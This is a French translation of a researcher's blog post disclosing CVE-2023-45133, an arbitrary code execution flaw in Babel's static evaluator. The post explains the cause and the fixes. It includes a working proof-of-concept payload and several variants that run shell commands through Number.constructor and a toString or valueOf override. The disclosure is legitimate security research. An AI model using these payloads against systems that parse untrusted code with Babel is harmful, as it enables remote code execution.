CVE-2023-45133 : Découverte d'une vulnérabilité d'exécution de code arbitraire dans Babel
Cette page a été traduite par PageTurner AI (bêta). Non approuvée officiellement par le projet. Vous avez trouvé une erreur ? Signaler un problème →
Le 10 octobre 2023, j'ai découvert par hasard une vulnérabilité d'exécution de code arbitraire dans Babel, qui s'est vu attribuer l'identifiant CVE-2023-45133. Dans cet article, je vous dévoile le processus de découverte et d'exploitation de cette faille intrigante.
Cet article a été initialement publié sur le blog de William Khem Marquez. Il a également publié une série sur l'utilisation de Babel pour désobfusquer du code JavaScript : découvrez-la !
Ceux qui utilisent Babel pour le reverse engineering ou la désobfuscation apprécient particulièrement ses fonctionnalités intégrées. L'une des plus utiles est la capacité à évaluer statiquement des expressions via path.evaluate() et path.evaluateTruthy(). J'en ai parlé dans mes articles précédents :
Attendez, ai-je bien dit évaluer statiquement ?
L'exploitation
Avant d'entrer dans les détails, examinons la preuve de concept que j'ai développée :
Preuve de concept
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default;
const source = `String({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`;
const ast = parser.parse(source);
const evalVisitor = {
Expression(path) {
path.evaluate();
},
};
traverse(ast, evalVisitor);
Celle-ci affiche simplement le résultat de la commande id dans le terminal, comme visible ci-dessous.
┌──(kali㉿kali)-[~/Babel RCE]
└─$ node exploit.js
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer),142(vboxsf)
Bien entendu, la charge utile peut être adaptée pour effectuer n'importe quelle action, comme exfiltrer des données ou établir un shell inversé.
Analyse de l'exploitation
Pour comprendre pourquoi cette vulnérabilité fonctionne, nous devons examiner le code source de la fonction incriminée, evaluate. Le code source de babel-traverse/src/path/evaluation.ts avant correction est archivé ici
/**
* Walk the input `node` and statically evaluate it.
*
* Returns an object in the form `{ confident, value, deopt }`. `confident`
* indicates whether or not we had to drop out of evaluating the expression
* because of hitting an unknown node that we couldn't confidently find the
* value of, in which case `deopt` is the path of said node.
*
* Example:
*
* t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
* t.evaluate(parse("!true")) // { confident: true, value: false }
* t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
*
*/
export function evaluate(this: NodePath): {
confident: boolean;
value: any;
deopt?: NodePath;
} {
const state: State = {
confident: true,
deoptPath: null,
seen: new Map(),
};
let value = evaluateCached(this, state);
if (!state.confident) value = undefined;
return {
confident: state.confident,
deopt: state.deoptPath,
value: value,
};
}
Lorsque evaluate est appelée sur un NodePath, elle passe par le wrapper evaluatedCached avant d'atteindre la fonction _evaluate qui effectue le gros du travail. C'est dans _evaluate que réside la vulnérabilité.
Cette fonction est chargée de décomposer récursivement les nœuds AST jusqu'à atteindre une opération atomique pouvant être évaluée avec confiance. La majorité des cas de base ne traitent que des opérations atomiques (comme les expressions binaires entre deux littéraux). Cependant, il existe quelques exceptions à cette règle.
Les deux parties du code source qui nous intéressent sont le traitement des expressions d'appel et des expressions objet, comme illustré ci-dessous :
Code source vulnérable
Relevant _evaluate source code
const VALID_OBJECT_CALLEES = ["Number", "String", "Math"] as const;
const VALID_IDENTIFIER_CALLEES = [
"isFinite",
"isNaN",
"parseFloat",
"parseInt",
"decodeURI",
"decodeURIComponent",
"encodeURI",
"encodeURIComponent",
process.env.BABEL_8_BREAKING ? "btoa" : null,
process.env.BABEL_8_BREAKING ? "atob" : null,
] as const;
const INVALID_METHODS = ["random"] as const;
function isValidObjectCallee(
val: string
): val is (typeof VALID_OBJECT_CALLEES)[number] {
return VALID_OBJECT_CALLEES.includes(
// @ts-expect-error val is a string
val
);
}
function isValidIdentifierCallee(
val: string
): val is (typeof VALID_IDENTIFIER_CALLEES)[number] {
return VALID_IDENTIFIER_CALLEES.includes(
// @ts-expect-error val is a string
val
);
}
function isInvalidMethod(val: string): val is (typeof INVALID_METHODS)[number] {
return INVALID_METHODS.includes(
// @ts-expect-error val is a string
val
);
}
function _evaluate(path: NodePath, state: State): any {
/** snip **/
if (path.isObjectExpression()) {
const obj = {};
const props = path.get("properties");
for (const prop of props) {
if (prop.isObjectMethod() || prop.isSpreadElement()) {
deopt(prop, state);
return;
}
const keyPath = (prop as NodePath<t.ObjectProperty>).get("key");
let key;
// @ts-expect-error todo(flow->ts): type refinement issues ObjectMethod and SpreadElement somehow not excluded
if (prop.node.computed) {
key = keyPath.evaluate();
if (!key.confident) {
deopt(key.deopt, state);
return;
}
key = key.value;
} else if (keyPath.isIdentifier()) {
key = keyPath.node.name;
} else {
key = (
keyPath.node as t.StringLiteral | t.NumericLiteral | t.BigIntLiteral
).value;
}
const valuePath = (prop as NodePath<t.ObjectProperty>).get("value");
let value = valuePath.evaluate();
if (!value.confident) {
deopt(value.deopt, state);
return;
}
value = value.value;
// @ts-expect-error key is any type
obj[key] = value;
}
return obj;
}
/** snip **/
if (path.isCallExpression()) {
const callee = path.get("callee");
let context;
let func;
// Number(1);
if (
callee.isIdentifier() &&
!path.scope.getBinding(callee.node.name) &&
(isValidObjectCallee(callee.node.name) ||
isValidIdentifierCallee(callee.node.name))
) {
func = global[callee.node.name];
}
if (callee.isMemberExpression()) {
const object = callee.get("object");
const property = callee.get("property");
// Math.min(1, 2)
if (
object.isIdentifier() &&
property.isIdentifier() &&
isValidObjectCallee(object.node.name) &&
!isInvalidMethod(property.node.name)
) {
context = global[object.node.name];
// @ts-expect-error property may not exist in context object
func = context[property.node.name];
}
// "abc".charCodeAt(4)
if (object.isLiteral() && property.isIdentifier()) {
// @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type (StringLiteral and NumberLiteral)
const type = typeof object.node.value;
if (type === "string" || type === "number") {
// @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type
context = object.node.value;
func = context[property.node.name];
}
}
}
if (func) {
const args = path
.get("arguments")
.map((arg) => evaluateCached(arg, state));
if (!state.confident) return;
return func.apply(context, args);
}
}
/** snip **/
}
Traitement des expressions d'appel
La première chose à comprendre est que si les expressions d'appel peuvent effectivement être évaluées, elles sont soumises à une vérification par liste blanche, s'appuyant sur les tableaux VALID_OBJECT_CALLEES ou VALID_IDENTIFIER_CALLEES.
De plus, il existe trois cas de traitement des expressions d'appel :
-
Lorsque l'appelé est un identifiant, et que cet identifiant figure dans la liste blanche
VALID_OBJECT_CALLEESouVALID_IDENTIFIER_CALLEES. -
Lorsque l'appelé est une expression membre, que l'objet est un identifiant, que cet identifiant figure dans la liste blanche
VALID_OBJECT_CALLEES, et que la propriété n'est pas dans la liste noireINVALID_METHODS. -
Lorsque l'appelé est une expression de membre, l'objet est un littéral, et la propriété est un littéral de type chaîne ou numérique.
Le cas le plus intéressant est le second :
if (
object.isIdentifier() &&
property.isIdentifier() &&
isValidObjectCallee(object.node.name) &&
!isInvalidMethod(property.node.name)
) {
context = global[object.node.name];
// @ts-expect-error property may not exist in context object
func = context[property.node.name];
}
/** snip **/
if (func) {
const args = path.get("arguments").map((arg) => evaluateCached(arg, state));
if (!state.confident) return;
return func.apply(context, args);
}
La seule méthode interdite est random, qui appartient à l'objet Math. Cela signifie que toute autre méthode des objets Number, String ou Math (dans la liste autorisée) peut être référencée directement.
En JavaScript, toutes les classes sont des fonctions. Puisque Number et String sont des classes JavaScript globales, leur propriété constructor pointe vers le constructeur Function.
Par conséquent, les deux expressions ci-dessous sont équivalentes :
Number.constructor('javascript_code_here;');
Function('javascript_code_here;');
Passer une chaîne arbitraire au constructeur Function renvoie une fonction qui évaluera la chaîne fournie comme code JavaScript lors de son appel.
Le nœud AST généré par Number.constructor('javascript_code_here;') contient :
- Une expression d'appel (call expression), où :
- L'appelé est une expression de membre (member expression), où :
- L'objet est un identifiant (identifier), dont le nom est dans la liste autorisée par
VALID_OBJECT_CALLEES - La propriété est un identifiant, non interdit par
INVALID_METHODS
- L'objet est un identifiant (identifier), dont le nom est dans la liste autorisée par
- Les arguments sont un seul littéral de chaîne, contenant le code à exécuter.
- L'appelé est une expression de membre (member expression), où :
Le code est donc considéré comme sûr à évaluer, et nous avons réussi à créer une fonction malveillante.
Cependant, il est crucial de noter que cela ne peut pas appeler la fonction par lui-même. Cela crée uniquement une fonction anonyme.
Alors, comment exactement pouvons-nous appeler la fonction ? C'est là qu'intervient la deuxième pièce du puzzle : les expressions d'objet (object expressions).
Gestion des expressions d'objet
Dans la méthode _evaluate de Babel, un nœud ObjectExpression subit une évaluation récursive, produisant un véritable objet JavaScript. Il n'y a aucune limitation sur les noms de clés pour ObjectProperty. Tant que chaque enfant ObjectProperty dans l'ObjectExpression renvoie confident: true depuis _evaluate(), nous pouvons obtenir un objet JavaScript avec des clés/valeurs personnalisées.
Une propriété clé à exploiter est toString (Référence MDN). Définir cette propriété sur un objet comme une fonction que nous contrôlons nous permettra d'exécuter du code arbitraire lorsque l'objet est converti en chaîne.
C'est exactement ce que nous faisons dans la charge utile :
String(({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
Nous avons assigné notre fonction malveillante, créée via le constructeur Function, à la propriété toString de l'objet. Ainsi, lorsque cet objet est converti en chaîne, elle est déclenchée et exécutée.
Dans l'exemple fourni, nous passons l'objet à la fonction String, étant donné son statut de fonction autorisée (référencée dans le cas 1). Cependant, le constructeur String n'est pas obligatoire. La coercition de type implicite en JavaScript peut également déclencher notre fonction malveillante, comme démontré dans ces formats alternatifs de charge utile :
""+(({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
1+(({ valueOf: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
Le premier exemple utilise la coercition de type pour transformer l'objet en chaîne. En revanche, le second exemple utilise la coercition de type pour le convertir en nombre, comme détaillé dans Object.prototype.valueOf(). Les deux exemples exploitent l'approche de la méthode _evaluate() pour gérer les nœuds BinaryExpression, qui effectue directement l'opération après avoir évalué récursivement les opérandes gauche et droite.
Le correctif
Après avoir divulgué cette vulnérabilité, j'ai été impressionné par la réponse rapide de l'équipe Babel, qui a rapidement déployé un correctif. Ce correctif a été publié en deux parties :
La première consistait en une solution de contournement pour tous les packages officiels de Babel concernés, en protégeant les appels à evalute() par une vérification isPure(). isPure empêche intrinsèquement ce bogue, car elle renvoie false pour tous les nœuds MemberExpression. PR #16032: Update babel-polyfills packages
L'étape suivante a impliqué l'affinement de la fonction evaluate(). Cet ajustement a permis d'empêcher l'appel de toutes les méthodes héritées, pas seulement du constructor. PR #16033: Only evaluate own String/Number/Math methods
Après la mise en œuvre des correctifs, l'équipe GitHub a attribué CVE-2023-45133 pour l'avis de sécurité.
Note sur le calendrier de divulgation
Vous avez peut-être remarqué que ce billet de blog a été publié le même jour que l'avis de sécurité. Habituellement pour les vulnérabilités critiques, il est d'usage d'attendre un certain temps avant de divulguer une preuve de concept. Cependant, je considère ce calendrier de divulgation justifiable pour plusieurs raisons :
Principalement, l'immense majorité des utilisateurs de Babel reste non concernée par cette vulnérabilité. Babel est principalement utilisé pour refactoriser et transpiler son propre code, ce qui signifie que le cas d'usage typique n'expose pas les utilisateurs à ce risque. Il est improbable que beaucoup disposent d'implémentations côté serveur acceptant et traitant du code arbitraire via les plugins de compilation ou l'appel de path.evaluate. De plus, il n'existe réellement que quelques cas d'usage concrets pour analyser du code non fiable côté serveur avec Babel :
-
Le reverse engineering de solutions de mitigation de bots, etc.
-
L'analyse de malware
Dans le premier cas, je doute qu'une entité légitime de mitigation de bots tenterait une exécution de code à distance (RCE) en raison des implications juridiques. Par ailleurs, les professionnels utilisant Babel pour l'analyse de malware possèdent l'expertise nécessaire pour mener leurs analyses dans des environnements contrôlés et sandboxés. Ainsi, le risque pour la communauté dans des scénarios réels reste minime.
Conclusion
Découvrir et approfondir cette vulnérabilité fut une expérience enrichissante. Je suis initialement tombé dessus lors d'une séance de brainstorming pour un challenge basé sur Babel dans la prochaine compétition UofTCTF, alors que je me concentrais sur un "bogue" totalement différent et non lié à la sécurité.
Cette vulnérabilité affecte principalement ceux qui intègrent du code non fiable avec Babel. Malheureusement, cela place directement dans la ligne de mire les personnes utilisant Babel pour la "désobfuscation statique".
Il y a une certaine ironie à ce que mon premier CVE crédité provienne du reverse engineering de Babel - l'outil même que j'utilise souvent pour le reverse engineering de JavaScript, et le sujet de tous mes précédents billets 🤣.
Ce fut une excellente expérience d'apprentissage, et j'espère que ce compte-rendu vous aura également été utile. Merci pour votre lecture et prenez soin de vous !